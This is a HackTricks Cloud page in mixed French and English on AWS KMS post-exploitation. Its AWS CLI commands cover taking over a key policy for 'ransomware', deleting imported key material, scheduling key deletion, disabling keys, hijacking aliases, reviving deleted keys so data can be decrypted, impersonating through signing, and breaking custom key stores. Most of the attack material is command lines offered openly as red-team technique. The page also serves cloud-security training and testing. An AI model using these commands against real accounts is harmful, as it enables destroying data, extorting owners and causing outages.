AWS - KMS Post Exploitation
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
KMS
Pour plus d'informations, consultez :
Encrypt/Decrypt information
fileb:// and file:// sont des schémas d'URI utilisés dans les commandes AWS CLI pour spécifier le chemin vers des fichiers locaux:
fileb://:Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels.file://:Lit le fichier en mode texte, généralement utilisé pour les fichiers texte simples, scripts ou JSON qui n'ont pas d'exigences d'encodage particulières.
tip
Notez que si vous voulez decrypt des données à l'intérieur d'un fichier, le fichier doit contenir les données binaires, pas des données encodées en base64. (fileb://)
- Using a symmetric key
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Utiliser une clé asymétrique :
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Un attaquant disposant d'un accès privilégié à KMS peut modifier la KMS policy des clés et accorder à son compte l'accès à celles-ci, supprimant l'accès accordé au compte légitime.
Les utilisateurs du compte légitime ne pourront alors plus accéder à aucune information de tout service chiffré avec ces clés, créant un ransomware simple mais efficace contre le compte.
warning
Notez que AWS managed keys ne sont pas affectées par cette attaque, seulement les Customer managed keys.
Notez aussi la nécessité d'utiliser le paramètre --bypass-policy-lockout-safety-check (l'absence de cette option dans la web console rend cette attaque possible uniquement depuis le CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
caution
Notez que si vous changez cette policy et ne donnez l'accès qu'à un external account, puis que depuis cet external account vous essayez de définir une nouvelle policy pour give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account.
.png)
Generic KMS Ransomware
Il existe une autre façon d'effectuer un global KMS Ransomware, qui impliquerait les étapes suivantes :
- Créer une nouvelle key with a key material importée par l'attacker
- Re-encrypt older data of the victim encrypted with the previous version with the new one.
- Delete the KMS key
- Maintenant seul l'attacker, qui possède le original key material, pourra être capable de decrypt the encrypted data
Delete Keys via kms:DeleteImportedKeyMaterial
Avec la permission kms:DeleteImportedKeyMaterial, un actor peut delete the imported key material des CMKs avec Origin=EXTERNAL (CMKs that have imperted their key material), les rendant incapables de decrypt data. Cette action est destructive et irréversible sauf si du compatible material est re-imported, permettant à un attacker de provoquer effectivement une perte de données de type ransomware en rendant l'information encrypted définitivement inaccessible.
aws kms delete-imported-key-material --key-id <Key_ID>
Détruire les clés
En détruisant des clés, il est possible d'effectuer un DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
caution
Notez qu'AWS empêche désormais que les actions précédentes soient effectuées depuis un autre compte :
Modifier ou supprimer Alias
Cette attaque supprime ou redirige les aliases AWS KMS, rompant la résolution des clés et provoquant des échecs immédiats dans tous les services qui dépendent de ces aliases, entraînant un déni de service. Avec des permissions telles que kms:DeleteAlias ou kms:UpdateAlias, un attaquant peut supprimer ou rediriger des aliases et perturber les opérations cryptographiques (p. ex., encrypt, describe). Tout service qui référence l'alias au lieu du key ID peut échouer jusqu'à ce que l'alias soit restauré ou correctement réaffecté.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancel Key Deletion
Avec des permissions telles que kms:CancelKeyDeletion et kms:EnableKey, un acteur peut annuler une suppression programmée d'une AWS KMS customer master key et la réactiver plus tard. Ce faisant, il récupère la clé (initialement en état Disabled) et restaure sa capacité à déchiffrer des données précédemment protégées, permettant l'exfiltration.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Désactiver la clé
Avec la permission kms:DisableKey, un acteur peut désactiver une CMK (customer master key) AWS KMS, empêchant son utilisation pour le chiffrement ou le déchiffrement. Cela coupe l'accès pour tous les services qui dépendent de cette CMK et peut provoquer des perturbations immédiates ou un déni de service jusqu'à ce que la clé soit réactivée.
aws kms disable-key \
--key-id <key_id>
Derive Shared Secret
Avec la permission kms:DeriveSharedSecret, un acteur peut utiliser une clé privée stockée dans KMS ainsi qu'une clé publique fournie par l'utilisateur pour calculer un secret partagé ECDH.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonation via kms:Sign
Avec la permission kms:Sign, un acteur peut utiliser une CMK stockée dans KMS pour signer cryptographiquement des données sans exposer la private key, produisant des signatures valides qui peuvent permettre l'impersonation ou autoriser des actions malveillantes.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS avec Custom Key Stores
Avec des autorisations comme kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore ou kms:UpdateCustomKeyStore, un acteur peut modifier, déconnecter ou supprimer un AWS KMS Custom Key Store (CKS), rendant ses clés principales inopérantes. Cela interrompt les opérations de chiffrement, de déchiffrement et de signature pour tous les services qui dépendent de ces clés et peut provoquer un denial-of-service immédiat. Il est donc essentiel de restreindre et de surveiller ces autorisations.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud